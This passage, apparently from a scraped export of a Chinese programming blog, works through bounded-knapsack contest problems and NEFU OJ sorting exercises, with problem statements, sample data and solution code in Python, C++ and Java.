个整数,表示每个英雄的皮肤数量 $K_i$。\n第三行,$\\text{N}$ 个整数,表示每个英雄皮肤的价格 $C_i$。\n输出格式 一个整数,表示小皮球达到目标最少的花费。\n样例 #1 样例输入 #1 13 24 24 4 4 32 2 2 样例输出 #1 118 提示 样例解释\n每一个英雄都只有4款皮肤,每款皮肤2 Q币,那么每个英雄买3款皮肤,$3 \\times 3 \\times 3 \\ge 24$,共花费 $6 \\times 3$ Q币。\n数据范围\n共 10 组数据,第 $\\text{i}$ 组数据满足:$\\text{N} \\le \\max(5, \\log_2^4i)$\n$\\text{100}%$ 的数据:$\\text{M} \\le 10^{17}, 1 \\le K_i \\le 10, 1 \\le C_i \\le 199$。保证有解。\n题解 这道题虽然还一道多重背包问题,但是这道题不能用二进制优化。需要使用三重循环,多定义一层 k 的循环,来表示当前英雄购买的皮肤数。不难发现状态转移方程为 dp[i][j] = max(dp[i][j], dp[i - 1][j - k * C[i]] * k), k \u0026lt;= K[i], j \u0026gt;= k * C[i]。当然这里的 dp[i][j] 已经是从 dp[i - 1][j] 的状态复制来的。\n这道题另一个坑是,这道题实际上是要求满足 dp[N][j] \u0026gt;= M 时 j 的最小值,因此 dp 数组的宽度应该是可能的开销的最大值,即 $\\sum_{i=1}^{N} K_i C_i$。根据上述信息写出程序:\n1def main(): 2 N, M = map(int, input().strip().split(\u0026#34; \u0026#34;)) 3 K = [0] + list(map(int, input().strip().split(\u0026#34; \u0026#34;))) 4 C = [0] + list(map(int, input().strip().split(\u0026#34; \u0026#34;))) 5 max_cost = sum(map(lambda x: x[0] * x[1], zip(K, C))) 6 7 dp = [[1 for _ in range(max_cost + 1)] for _ in range(N + 1)] 8 for i in range(1, N + 1): 9 for j in range(1, max_cost + 1): 10 dp[i][j] = dp[i - 1][j] 11 for k in range(0, K[i] + 1): 12 if j \u0026lt; k * C[i]: 13 break 14 dp[i][j] = max(dp[i][j], dp[i - 1][j - k * C[i]] * k) 15 16 for i in range(len(dp[-1])): 17 if dp[-1][i] \u0026gt;= M: 18 print(i) 19 break 20 21 22if __name__ == \u0026#34;__main__\u0026#34;: 23 main() 随后优化代码:\n1def main(): 2 N, M = map(int, input().strip().split(\u0026#34; \u0026#34;)) 3 K = [0] + list(map(int, input().strip().split(\u0026#34; \u0026#34;))) 4 C = [0] + list(map(int, input().strip().split(\u0026#34; \u0026#34;))) 5 max_cost = sum(map(lambda x: x[0] * x[1], zip(K, C))) 6 7 dp = [1 for _ in range(max_cost + 1)] 8 for i in range(1, N + 1): 9 for j in reversed(range(1, max_cost + 1)): 10 for k in range(0, min(K[i], j // C[i]) + 1): 11 dp[j] = max(dp[j], dp[j - k * C[i]] * k) 12 13 for i in range(max_cost + 1): 14 if dp[i] \u0026gt;= M: 15 print(i) 16 return 17 18 19if __name__ == \u0026#34;__main__\u0026#34;: 20 main() Python 果然不孚众望,又双叒叕超时了。🤯 拼尽全力无法 AC,受不了了!传 C++!\n1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;algorithm\u0026gt; 3 4using namespace std; 5 6int main() { 7 long long int N, M, K[123] = { 0 }, C[123] = { 0 }, dp[100001] = {1}, max_cost = 0; 8 cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; 9 for (int i = 1; i \u0026lt;= N; i++) { 10 cin \u0026gt;\u0026gt; K[i]; 11 } 12 for (int i = 1; i \u0026lt;= N; i++) { 13 cin \u0026gt;\u0026gt; C[i]; 14 max_cost += C[i] * K[i]; 15 } 16 17 for (int i = 1; i \u0026lt;= N; i++) { 18 for (int j = max_cost; j \u0026gt;= 1; j--) { 19 for (int k = 0; k \u0026lt;= min(K[i], j / C[i]); k++) { 20 dp[j] = max(dp[j], dp[j - k * C[i]] * k); 21 } 22 } 23 } 24 25 for (int i = 1; i \u0026lt;= max_cost; i++) { 26 if (dp[i] \u0026gt;= M) { 27 cout \u0026lt;\u0026lt; i; 28 return 0; 29 } 30 } 31} [NOIP1996 提高组] 砝码称重 题目描述 设有 $1\\mathrm{g}$、$2\\mathrm{g}$、$3\\mathrm{g}$、$5\\mathrm{g}$、$10\\mathrm{g}$、$20\\mathrm{g}$ 的砝码各若干枚(其总重 $ \\le 1000$),可以表示成多少种重量?\n输入格式 输入方式:$a_1 , a_2 ,a_3 , a_4 , a_5 ,a_6$\n(表示 $1\\mathrm{g}$ 砝码有 $a_1$ 个,$2\\mathrm{g}$ 砝码有 $a_2$ 个,$\\dots$,$20\\mathrm{g}$ 砝码有 $a_6$ 个)\n输出格式 输出方式:Total=N\n($N$ 表示用这些砝码能称出的不同重量的个数,但不包括一个砝码也不用的情况)\n样例 #1 样例输入 #1 11 1 0 0 0 0 样例输出 #1 1Total=3 提示 【题目来源】\nNOIP 1996 提高组第四题\n题解 这道题最容易想到的就是暴力枚举,当然也同样容易想到暴力枚举大概率超时。\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;bitset\u0026gt; 5 6int main() { 7 int a, b, c, d, e, f; 8 int i, j, k, l, m, n; 9 scanf(\u0026#34;%d%d%d%d%d%d\u0026#34;, \u0026amp;a, \u0026amp;b, \u0026amp;c, \u0026amp;d, \u0026amp;e, \u0026amp;f); 10 std::bitset\u0026lt;1001\u0026gt; weight; 11 for (i = 0; i \u0026lt;= a; i++) { 12 for (j = 0; j \u0026lt;= b; j++) { 13 for (k = 0; k \u0026lt;= c; k++) { 14 for (l = 0; l \u0026lt;= d; l++) { 15 for (m = 0; m \u0026lt;= e; m++) { 16 for (n = 0; n \u0026lt;= f; n++) { 17 weight.set(i + j * 2 + k * 3 + l * 5 + m * 10 + n * 20); 18 } 19 } 20 } 21 } 22 } 23 } 24 printf(\u0026#34;Total=%d\u0026#34;, weight.count() - 1); 25 return 0; 26} 过了!?这么离谱的做法也能过?好吧,使用枚举法,C++ 在某个测试点上最长花了 842ms。而下面这个方法,即使是用 Python,最长也只需要 52ms。\n这道题也可以看作多重背包问题的变种。一共有 6 种物品,每种物品的价值和重量相等,分别是 1, 2, 3, 5, 10, 20。首先求出这些物品可能的最大价值 max_weight,随后计算当背包容量为 1 到 max_weight 中的任意值时,背包所能装的最大价值时多少。当背包容量和最大价值相等时,说明用已有的砝码能够凑出该重量。此时问题就被转换成了一个经典的多重背包问题。\n1def main(): 2 count = tuple(map(int, [0] + input().split(\u0026#34; \u0026#34;))) 3 weight = (0, 1, 2, 3, 5, 10, 20) 4 max_weight = sum(map(lambda x: x[0] * x[1], zip(weight, count))) 5 6 dp = [0 for _ in range(max_weight + 1)] 7 for i in range(1, 7): 8 for j in reversed(range(weight[i], max_weight + 1)): 9 for k in range(0, min(count[i], j // weight[i]) + 1): 10 dp[j] = max(dp[j], dp[j - weight[i] * k] + weight[i] * k) 11 12 res = 0 13 for i in range(1, max_weight + 1): 14 if i == dp[i]: 15 res += 1 16 print(f\u0026#34;Total={res}\u0026#34;) 17 18 19if __name__ == \u0026#34;__main__\u0026#34;: 20 main() AC!\n这类问题也被归类为“可行性问题”。\n宝物筛选 题目描述 终于,破解了千年的难题。小 FF 找到了王室的宝物室,里面堆满了无数价值连城的宝物。\n这下小 FF 可发财了,嘎嘎。但是这里的宝物实在是太多了,小 FF 的采集车似乎装不下那么多宝物。看来小 FF 只能含泪舍弃其中的一部分宝物了。\n小 FF 对洞穴里的宝物进行了整理,他发现每样宝物都有一件或者多件。他粗略估算了下每样宝物的价值,之后开始了宝物筛选工作:小 FF 有一个最大载重为 $W$ 的采集车,洞穴里总共有 $n$ 种宝物,每种宝物的价值为 $v_i$,重量为 $w_i$,每种宝物有 $m_i$ 件。小 FF 希望在采集车不超载的前提下,选择一些宝物装进采集车,使得它们的价值和最大。\n输入格式 第一行为一个整数 $n$ 和 $W$,分别表示宝物种数和采集车的最大载重。\n接下来 $n$ 行每行三个整数 $v_i,w_i,m_i$。\n输出格式 输出仅一个整数,表示在采集车不超载的情况下收集的宝物的最大价值。\n样例 #1 样例输入 #1 14 20 23 9 3 35 9 1 49 4 2 58 1 3 样例输出 #1 147 提示 对于 $30%$ 的数据,$n\\leq \\sum m_i\\leq 10^4$,$0\\le W\\leq 10^3$。\n对于 $100%$ 的数据,$n\\leq \\sum m_i \\leq 10^5$,$0\\le W\\leq 4\\times 10^4$,$1\\leq n\\le 100$。\n题解 简单的多重背包问题,但是需要优化,否则会超时。下面的是使用二进制优化的代码:\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;algorithm\u0026gt; 5 6int main() { 7 int N, W, vi, wi, mi, dp[40001] = { 0 }, i, j, k; 8 scanf(\u0026#34;%d%d\u0026#34;, \u0026amp;N, \u0026amp;W); 9 10 for (i = 1; i \u0026lt;= N; i++) { 11 scanf(\u0026#34;%d%d%d\u0026#34;, \u0026amp;vi, \u0026amp;wi, \u0026amp;mi); 12 k = 1; 13 14 while (mi \u0026gt;= k) { 15 for (j = W; j \u0026gt;= wi * k; j--) { 16 dp[j] = std::max(dp[j], dp[j - k * wi] + k * vi); 17 } 18 mi -= k; 19 k *= 2; 20 } 21 if (mi \u0026gt; 0) { 22 for (j = W; j \u0026gt;= wi * mi; j--) { 23 dp[j] = std::max(dp[j], dp[j - mi * wi] + mi * vi); 24 } 25 } 26 } 27 28 printf(\u0026#34;%d\u0026#34;, dp[W]); 29 return 0; 30} 旅行商的背包 题目描述 小 S 坚信任何问题都可以在多项式时间内解决,于是他准备亲自去当一回旅行商。在出发之前,他购进了一些物品。这些物品共有 $n$ 种,第 $i$ 种体积为 $V_i$,价值为 $W_i$,共有 $D_i$ 件。他的背包体积是 $C$。怎样装才能获得尽量多的收益呢?作为一名大神犇,他轻而易举的解决了这个问题。\n然而,就在他出发前,他又收到了一批奇货。这些货共有 $m$ 件,第 $i$ 件的价值 $Y_i$ 与分配的体积 $X_i$ 之间的关系为:$Y_i=a_iX_i^2+b_iX_i+c_i$。这是件好事,但小 S 却不知道怎么处理了,于是他找到了一位超级神犇(也就是你),请你帮他解决这个问题。\n输入格式 第一行三个数 $n,m,C$,如题中所述;\n以下 $n$ 行,每行有三个数 $V_i,W_i,D_i$,如题中所述;\n以下 $m$ 行,每行有三个数 $a_i,b_i,c_i$,如题中所述。\n输出格式 仅一行,为最大的价值。\n样例 #1 样例输入 #1 12 1 10 21 2 3 33 4 1 4-1 8 -16 样例输出 #1 110 提示 样例解释 前两种物品全部选走,最后一个奇货分给 $4$ 的体积,收益为$2 \\times 3+4 \\times 1+(-1) \\times 16+8 \\times 4+(-16)=10$。\n限制与约定 对于 $100%$ 的数据,$1 \\le n \\le 10^4$,$1 \\le m \\le 5$,$1 \\le C \\le 10^4$,$ 1 \\le W_i,V_i,D_i \\le 1000$,$-1000 \\le a_i,b_i,c_i \\le 1000$。\n题解 这道题可以分为两部分:第一部分普通物品按照多重背包问题解决,第二部分奇货通过枚举计算。\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;algorithm\u0026gt; 5 6int main() { 7 int N, M, C, va, wb, dc, yi; 8 int i, j, k; 9 long long dp[10005] = { 0 }; 10 11 scanf(\u0026#34;%d%d%d\u0026#34;, \u0026amp;N, \u0026amp;M, \u0026amp;C); 12 for (i = 0; i \u0026lt; N; i++) { 13 scanf(\u0026#34;%d%d%d\u0026#34;, \u0026amp;va, \u0026amp;wb, \u0026amp;dc); 14 if (dc * va \u0026gt; C) { 15 for (j = va; j \u0026lt;= C; j++) { 16 dp[j] = std::max(dp[j], dp[j - va] + wb); 17 } 18 } 19 20 else { 21 k = 1; 22 while (dc \u0026gt;= k) { 23 for (j = C; j \u0026gt;= va * k; j--) { 24 dp[j] = std::max(dp[j], dp[j - va * k] + 1ll * wb * k); 25 } 26 dc -= k; 27 k \u0026lt;\u0026lt;= 1; 28 } 29 30 if (dc \u0026gt; 0) { 31 for (j = C; j \u0026gt;= va * dc; j--) { 32 dp[j] = std::max(dp[j], dp[j - va * dc] + 1ll * wb * dc); 33 } 34 } 35 } 36 } 37 38 for (i = 0; i \u0026lt; M; i++) { 39 scanf(\u0026#34;%d%d%d\u0026#34;, \u0026amp;va, \u0026amp;wb, \u0026amp;dc); 40 for (j = C; j \u0026gt;= 0; j--) { 41 for (k = 0; k \u0026lt;= j; k++) { 42 dp[j] = std::max(dp[j], dp[j - k] + 1ll * va * k * k + wb * k + dc); 43 } 44 } 45 } 46 47 printf(\u0026#34;%lld\u0026#34;, dp[C]); 48 return 0; 49} 中间做了一个 dc * va \u0026gt; C 的判断,即当某个普通物品的总体积超过背包体积时,就当作完全背包问题解决(我猜测没有测试点的数据会使程序进入这个判断里,因为我其中一次提交时误将 j \u0026lt;= C 写成 j \u0026lt;= dc 但结果没有影响)。其余多重背包的部分必须优化,否则会超时。另外 dp 数组必须定义成 long long 型,运算时加到数组里的元素也要先乘 1ll 不然有一个测试点死活过不了。\n","link":"https://jackgdn.github.io/post/algo-knapsackproblem-3/","section":"post","tags":["算法","动态规划","背包问题"],"title":"背包问题——多重背包问题"},{"body":"习题均来自 NEFU OJ Problem 1481 | 谁考了第k名-排序 Description 在一次考试中,每个学生的成绩都不相同,现知道了每个学生的学号和成绩,求考第k名学生的学号和成绩。\nInput 第一行有两个整数,分别是学生的人数n(1≤n≤100),和求第k名学生的k(1≤k≤n)。 其后有n行数据,每行包括一个学号(整数)和一个成绩(浮点数),中间用一个空格分隔。\nOutput 输出第k名学生的学号和成绩,中间用空格分隔。(注:请用%g输出成绩)\nSample Input 15 3 290788001 67.8 390788002 90.3 490788003 61 590788004 68.4 690788005 73.9 Sample Output 190788004 68.4 Source 奥赛一本通\n这道题可以自己搓一个排序,也可以用结构体排序解决。\n1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;algorithm\u0026gt; 3 4using namespace std; 5 6struct Student { 7 int id;z 8 float score; 9}; 10 11bool cmp(Student a, Student b) { 12 return a.score \u0026gt; b.score; 13} 14 15int main() { 16 Student students[100]; 17 int n, k; 18 cin \u0026gt;\u0026gt; n \u0026gt;\u0026gt; k; 19 for (int i = 0; i \u0026lt; n; i++) { 20 cin \u0026gt;\u0026gt; students[i].id \u0026gt;\u0026gt; students[i].score; 21 } 22 23 sort(students, students + n, cmp); 24 printf(\u0026#34;%d %g\u0026#34;, students[k - 1].id, students[k - 1].score); 25 26 return 0; 27} AC!\nJava 版:\n1import java.util.Scanner; 2import java.util.List; 3import java.util.ArrayList; 4import java.text.DecimalFormat; 5 6public class Main { 7 public static void main(String[] args) { 8 Scanner scanner = new Scanner(System.in); 9 int n = scanner.nextInt(); 10 int k = scanner.nextInt(); 11 List\u0026lt;Student\u0026gt; students = new ArrayList\u0026lt;\u0026gt;(); 12 for (int i = 0; i \u0026lt; n; i++) { 13 int id = scanner.nextInt(); 14 double score = scanner.nextDouble(); 15 students.add(new Student(id, score)); 16 } 17 scanner.close(); 18 Student result = students.stream() 19 .sorted((a, b) -\u0026gt; Double.compare(b.score, a.score)) 20 .skip(k - 1) 21 .findFirst() 22 .get(); 23 24 DecimalFormat df = new DecimalFormat(\u0026#34;0.###\u0026#34;); 25 System.out.println(String.format(\u0026#34;%d %s\u0026#34;, result.id, df.format(result.score))); 26 } 27} 28 29class Student { 30 public int id; 31 public double score; 32 33 public Student(int id, double score) { 34 this.id = id; 35 this.score = score; 36 } 37} AC!\n不管是 String.format 还是 System.out.printf,使用 %g 来格式化都会默认保留六位小数,所以使用 DecimalFormat 去掉小鼠先后尾随 0。 ### 表示最多显示六位小数,不显示不必要的 0。\nPython 版:\n1class Student: 2 3 def __init__(self, id, score): 4 self.id = id 5 self.score = score 6 7 def __repr__(self): 8 return f\u0026#34;{self.id} {self.score}\u0026#34; 9 10 11def main(): 12 n, k = map(int, input().strip().split(\u0026#34; \u0026#34;)) 13 students = list() 14 for _ in range(n): 15 data = input().strip().split(\u0026#34; \u0026#34;) 16 students.append(Student(data[0], float(data[1]))) 17 18 students = sorted(students, key=lambda s: s.score) 19 print(students[k - 1]) 20 21 22if __name__ == \u0026#34;__main__\u0026#34;: 23 main() Problem 1482 | 奇数单增序列 Description 给定一个长度为N(不大于500)的正整数序列,请将其中的所有奇数取出,并按升序输出\nInput 共2行: 第1行为 N; 第2行为 N 个正整数,其间用空格间隔。\nOutput 增序输出的奇数序列,数据之间以逗号间隔。数据保证至少有一个奇数。\nSample Input 110 21 3 2 6 5 4 9 8 7 10 Sample Output 11,3,5,7,9 Source 奥赛一本通\n1import java.util.Scanner; 2import java.util.List; 3import java.util.ArrayList; 4import java.util.stream.Collectors; 5 6public class Main { 7 public static void main(String[] args) { 8 List\u0026lt;Integer\u0026gt; odd = new ArrayList\u0026lt;\u0026gt;(); 9 try (Scanner sc = new Scanner(System.in)) { 10 int n = sc.nextInt(); 11 while (--n \u0026gt; 0) { 12 int num = sc.nextInt(); 13 if (num % 2 == 1) { 14 odd.add(num); 15 } 16 } 17 } 18 19 String result = odd.stream() 20 .sorted() 21 .map(i -\u0026gt; i.toString()) 22 .collect(Collectors.joining(\u0026#34;,\u0026#34;)); 23 System.out.println(result); 24 25 } 26} AC!\nProblem 1483 | 成绩排序 Description 给出班里某门课程的成绩单,请你按成绩从高到低对成绩单排序输出,如果有相同分数则名字字典序小的在前。\nInput 第一行为n (0 \u0026lt; n \u0026lt; 20),表示班里的学生数目; 接下来的n行,每行为每个学生的名字和他的成绩, 中间用单个空格隔开。名字只包含字母且长度不超过20,成绩为一个不大于100的非负整数。\nOutput 把成绩单按分数从高到低的顺序进行排序并输出,每行包含名字和分数两项,之间有一个空格。\nSample Input 14 2Kitty 80 3Hanmeimei 90 4Joey 92 5Tim 28 Sample Output 1Joey 92 2Hanmeimei 90 3Kitty 80 4Tim 28 Source 奥赛一本通\n又是一个结构体排序,但是有多个条件。\nC++ 版:\n1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;vector\u0026gt; 3#include \u0026lt;algorithm\u0026gt; 4 5using namespace std; 6 7struct Student { 8 string name; 9 int score; 10}; 11 12bool cmp(Student a, Student b) { 13 if (a.score != b.score) { 14 return a.score \u0026gt; b.score; 15 } 16 return a.name \u0026lt; b.name; 17} 18 19int main() { 20 vector\u0026lt;Student\u0026gt; students; 21 int n; 22 cin \u0026gt;\u0026gt; n; 23 while (n--) { 24 string name; 25 int score; 26 cin \u0026gt;\u0026gt; name \u0026gt;\u0026gt; score; 27 students.push_back(Student{ name, score }); 28 } 29 30 sort(students.begin(), students.end(), cmp); 31 32 for (const auto\u0026amp; student : students) { 33 printf(\u0026#34;%s %d\\n\u0026#34;, student.name.c_str(), student.score); 34 } 35} AC!\nJava 版:\n1import java.util.Scanner; 2import java.util.List; 3import java.util.ArrayList; 4 5public class Main { 6 public static void main(String[] args) { 7 List\u0026lt;Student\u0026gt; students = new ArrayList\u0026lt;\u0026gt;(); 8 try (Scanner sc = new Scanner(System.in)) { 9 int n = sc.nextInt(); 10 sc.nextLine(); 11 while (n-- \u0026gt; 0) { 12 String[] data = sc.nextLine().split(\u0026#34;\\\\s+\u0026#34;); 13 String name = data[0]; 14 int score = Integer.parseInt(data[1]); 15 students.add(new Student(name, score)); 16 } 17 } 18 19 students.sort((a, b) -\u0026gt; { 20 if (a.score != b.score) { 21 return Integer.compare(b.score, a.score); 22 } 23 return a.name.compareTo(b.name); 24 }); 25 26 for (Student student : students) { 27 System.out.println(student); 28 } 29 30 } 31} 32 33class Student { 34 public String name; 35 public int score; 36 37 public Student(String name, int score) { 38 this.name = name; 39 this.score = score; 40 } 41 42 @Override 43 public String toString() { 44 return String.format(\u0026#34;%s %d\u0026#34;, this.name, this.score); 45 } 46} AC!\n上面是使用 sort 方法和 Lambda 表达式的写法。OJ 声称其使用 jdk 1.5.0,但是 Lambda 表达式在 Java 8 中才加入,我提交后依然能过。\n下面是使用 Comparator 接口实现排序:\n1import java.util.Scanner; 2import java.util.List; 3import java.util.ArrayList; 4import java.util.Comparator; 5 6public class Main { 7 public static void main(String[] args) { 8 List\u0026lt;Student\u0026gt; students = new ArrayList\u0026lt;\u0026gt;(); 9 try (Scanner sc = new Scanner(System.in)) { 10 int n = sc.nextInt(); 11 sc.nextLine(); 12 while (n-- \u0026gt; 0) { 13 String[] data = sc.nextLine().split(\u0026#34;\\\\s+\u0026#34;); 14 String name = data[0]; 15 int score = Integer.parseInt(data[1]); 16 students.add(new Student(name, score)); 17 } 18 } 19 20 students.sort(Comparator.comparing(Student::getScore).reversed().thenComparing(Student::getName)); 21 22 for (Student student : students) { 23 System.out.println(student); 24 } 25 26 } 27} 28 29class Student { 30 public String name; 31 public int score; 32 33 public Student(String name, int score) { 34 this.name = name; 35 this.score = score; 36 } 37 38 public String getName() { 39 return this.name; 40 } 41 42 public int getScore() { 43 return this.score; 44 } 45 46 @Override 47 public String toString() { 48 return String.format(\u0026#34;%s %d\u0026#34;, this.name, this.score); 49 } 50} AC!\n这种写法比直接写 Lambda 表达式稍快一些,内存开销也略小。\n这样排序需要实现 Student 对应的方法。如果没有实现方法而要直接访问属性,则还是需要在 Comparator.comparing 中使用 Lambda 表达式:students.sort(Comparator.comparing((Student s) -\u0026gt; s.score).reversed().thenComparing((Student s) -\u0026gt; s.name));。\nPython 版:\n1class Student: 2 3 def __init__(self, name: str, score: int): 4 self.name = name 5 self.score = score 6 7 def __repr__(self): 8 return f\u0026#34;{self.name} {self.score}\u0026#34; 9 10 11def main(): 12 n = int(input()) 13 students = list() 14 for _ in range(n): 15 data = input().split(\u0026#34; \u0026#34;) 16 students.append(Student(data[0], int(data[1]))) 17 18 students.sort(key=lambda s: (-s.score, s.name)) 19 for student in students: 20 print(student) 21 22 23if __name__ == \u0026#34;__main__\u0026#34;: 24 main() Problem 1650 | 没必要的排序2 Description 羽裳有n个数,她想知道前k大的数的和是多少\nInput 输入n,k代表有n个数,求前k大的和,之后输入n个数,第i个数为a[i] 1\u0026lt;=n\u0026lt;=10000000(1e7) 1\u0026lt;=k\u0026lt;1000 对任意的i 1\u0026lt;=a[i]\u0026lt;=100000(1e5)\nOutput 输出一个数ans,ans是前k大数的和\nSample Input 12 1 299999 1 Sample Output 199999 Hint 排序会超时\n没有必要排序,只需要找到前 k 大的数据并求和就可以。首先创建一个长度为 k 的数组 a 用于存储最大的 k 个数据。当已经输入的数据数量小于 k 时,直接把数据存进 a;当 k 满了的时候,如果新输入的数据大于 a 的最小值,则用这个数据替换 a 的最小值。当所有数据都输入完后,这个数组里存储的就是最大的 k 个元素。\n1// MSVC 特色 2// #define _CRT_SECURE_NO_WARNINGS 3 4#include \u0026lt;cstdio\u0026gt; 5 6int main() { 7 int n, k, p, nums[1005] = { 0 }; 8 scanf(\u0026#34;%d %d\u0026#34;, \u0026amp;n, \u0026amp;k); 9 p = n - k; 10 11 for (int i = 0; i \u0026lt; k; i++) { 12 scanf(\u0026#34;%d\u0026#34;, \u0026amp;nums[i]); 13 } 14 15 int min_num = 0x3f3f3f3f, min_index = -1; 16 for (int i = 0; i \u0026lt; k; i++) { 17 if (nums[i] \u0026lt; min_num) { 18 min_num = nums[i]; 19 min_index = i; 20 } 21 } 22 23 while (p--) { 24 int num; 25 scanf(\u0026#34;%d\u0026#34;, \u0026amp;num); 26 if (num \u0026gt; min_num) { 27 nums[min_index] = num; 28 min_num = 0x3f3f3f3f; 29 min_index = -1; 30 for (int i = 0; i \u0026lt; k; i++) { 31 if (nums[i] \u0026lt; min_num) { 32 min_num = nums[i]; 33 min_index = i; 34 } 35 } 36 } 37 } 38 39 long long int sum = 0; 40 for (int i = 0; i \u0026lt; k; i++) { 41 sum += nums[i]; 42 } 43 printf(\u0026#34;%lld\u0026#34;, sum); 44 45 return 0; 46} 这道题的测试点的数据量太大了,使用 cin 和 cout 时会以 1672k - 3000ms 的战绩超时,而使用 printf 和 scanf 只用 1064k - 1186ms。\n这道题也可以使用优先队列解决。因为不需要对元素随机访问,优先队列是比二叉搜索树或者红黑树更好的选择。\n1// #define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;queue\u0026gt; 5#include \u0026lt;vector\u0026gt; 6 7using namespace std; 8 9int main() { 10 int n, k; 11 scanf(\u0026#34;%d %d\u0026#34;, \u0026amp;n, \u0026amp;k); 12 13 priority_queue\u0026lt;int, vector\u0026lt;int\u0026gt;, greater\u0026lt;int\u0026gt;\u0026gt; pq; 14 15 int num; 16 while (n--) { 17 scanf(\u0026#34;%d\u0026#34;, \u0026amp;num); 18 if (pq.size() \u0026lt; k) { 19 pq.push(num); 20 } 21 else if (num \u0026gt; pq.top()) { 22 pq.pop(); 23 pq.push(num); 24 } 25 } 26 27 long long int sum = 0; 28 while (!pq.empty()) { 29 sum += pq.top(); 30 pq.pop(); 31 } 32 printf(\u0026#34;%lld\u0026#34;, sum); 33 34 return 0; 35} 同样,使用 cin 和 cout 读写会消耗 1680k - 3000ms,而使用 printf 和 scanf 读写只需要 1232k - 1671ms 就能完美通过。\nProblem 554 | 老和尚的导员 Description 等小和尚回来后,老和尚居然没有睡觉。老和尚表示他的导员的excel表格坏掉了(老和尚居然有导员?好吧……据说是方丈),而且老和尚的导员要老和尚将寺中所有和尚的期末考试成绩按降序排列来发奖学金(和尚还有奖学金?) 不用多说,为了继续睡午觉,这个任务理所当然的落在了小和尚身上。所有……你继续帮忙吧。\nInput 寺中主要考试科目有C语言,线性代数,高等数学和英语四个科目(怎么当和尚都这么累),输入的第一行是和尚的人数N(N\u0026lt;=100),第二行至第N+1行分别为C语言a[i],线性代数b[i],高等数学c[i]和英语的成绩d[i](0 \u0026lt;= a[i],b[i],c[i],d[i] \u0026lt;= 100)。\nOutput 现需要你将和尚们的成绩以总成绩降序排列,输出数据的每行有两个数字,第一个数字为和尚的编号(输入时的第一个和尚成绩即为和尚1,第二个为和尚2),第二个数字为和尚的总成绩(如果总成绩相同,则按C语言的成绩排列,如在相同,则按线性代数输出编号,以此类推。)\nSample Input 15 298 50 27 65 358 52 24 16 498 96 90 89 531 65 98 78 665 67 66 90 Sample Output 13 373 25 288 34 272 41 240 52 150 这题我浪费一下午时间。题本身 ez,但是测试点有多组输入,而题目描述里没说。我看了题解才知道要改成 while (scanf(\u0026quot;%d\u0026quot;, \u0026amp;n) != EOF) 🤯。\n1#include\u0026lt;cstdio\u0026gt; 2#include\u0026lt;algorithm\u0026gt; 3 4using namespace std; 5 6typedef struct Student { 7 int a, b, c, d, sum, num; 8} Student; 9 10Student students[105]; 11 12bool cmp(Student x, Student y) { 13 if (x.sum != y.sum) { 14 return x.sum \u0026gt; y.sum; 15 } 16 else if (x.a != y.a) { 17 return x.a \u0026gt; y.a; 18 } 19 else if (x.b != y.b) { 20 return x.b \u0026gt; y.b; 21 } 22 else if (x.c != y.c) { 23 return x.c \u0026gt; y.c; 24 } 25 else { 26 return x.d \u0026gt; y.d; 27 } 28} 29 30int main() { 31 int n; 32 while (scanf(\u0026#34;%d\u0026#34;, \u0026amp;n) != EOF) { 33 for (int i = 1; i \u0026lt;= n; i++) { 34 students[i].num = i; 35 scanf(\u0026#34;%d%d%d%d\u0026#34;, \u0026amp;students[i].a, \u0026amp;students[i].b, \u0026amp;students[i].c, \u0026amp;students[i].d); 36 students[i].sum = students[i].a + students[i].b + students[i].c + students[i].d; 37 } 38 39 sort(students + 1, students + n + 1, cmp); 40 41 for (int i = 1; i \u0026lt;= n; i++) { 42 printf(\u0026#34;%d %d\\n\u0026#34;, students[i].num, students[i].sum); 43 } 44 } 45 return 0; 46} 1import java.util.Scanner; 2import java.util.List; 3import java.util.ArrayList; 4import java.util.Comparator; 5 6public class Main { 7 public static void main(String[] args) { 8 Scanner sc = new Scanner(System.in); 9 10 while (sc.hasNextInt()) { 11 int n = sc.nextInt(); 12 List\u0026lt;Student\u0026gt; students = new ArrayList\u0026lt;Student\u0026gt;(); 13 int C, LM, HM, Eng; 14 for (int i = 1; i \u0026lt;= n; i++) { 15 C = sc.nextInt(); 16 LM = sc.nextInt(); 17 HM = sc.nextInt(); 18 Eng = sc.nextInt(); 19 students.add(new Student(C, LM, HM, Eng, i)); 20 } 21 22 students.sort(Comparator.\u0026lt;Student, Integer\u0026gt;comparing(Student::getTotal).reversed() 23 .thenComparing(Student::getC) 24 .thenComparing(Student::getLM) 25 .thenComparing(Student::getHM) 26 .thenComparing(Student::getEng)); 27 28 for (Student s : students) { 29 System.out.println(s); 30 } 31 } 32 33 sc.close(); 34 } 35} 36 37class Student { 38 public int C; 39 public int LM; 40 public int HM; 41 public int Eng; 42 public int total; 43 public int number; 44 45 public Student(int C, int LM, int HM, int Eng, int number) { 46 this.C = 100 - C; 47 this.LM = 100 - LM; 48 this.HM = 100 - HM; 49 this.Eng = 100 - Eng; 50 this.total = C + LM + HM + Eng; 51 this.number = number; 52 } 53 54 public int getTotal() { 55 return this.total; 56 } 57 58 public int getC() { 59 return this.C; 60 } 61 62 public int getLM() { 63 return this.LM; 64 } 65 66 public int getHM() { 67 return this.HM; 68 } 69 70 public int getEng() { 71 return this.Eng; 72 } 73 74 @Override 75 public String toString() { 76 return String.format(\u0026#34;%d %d\u0026#34;, this.number, this.total); 77 } 78} Problem 556 | 健忘的老和尚 Description 当小和尚排完名单后,老和尚突然一拍脑袋:“导员把每个人的人名都给我了,可我忘记告诉你了。”好吧……我们可怜的小和尚看来要费二遍事了(好像之前的任务都是你帮他做的,好吧,你真可怜)\nInput 输入数据为多组,输入的第一行为和尚的人数N,可以得到奖学金的人数M,和需要补考的人数O(在这里可以满足M+O\u0026lt;=N,即得到奖学金的和尚一定不用参加补考)。之后的N行每行都有一个字符串(即为和尚的名字,长度小于100)和尚考试的总分a[i](0 \u0026lt;= a[i] \u0026lt;= 1000)。\nOutput 前M行,每行是获得奖学金的小和尚的名字; 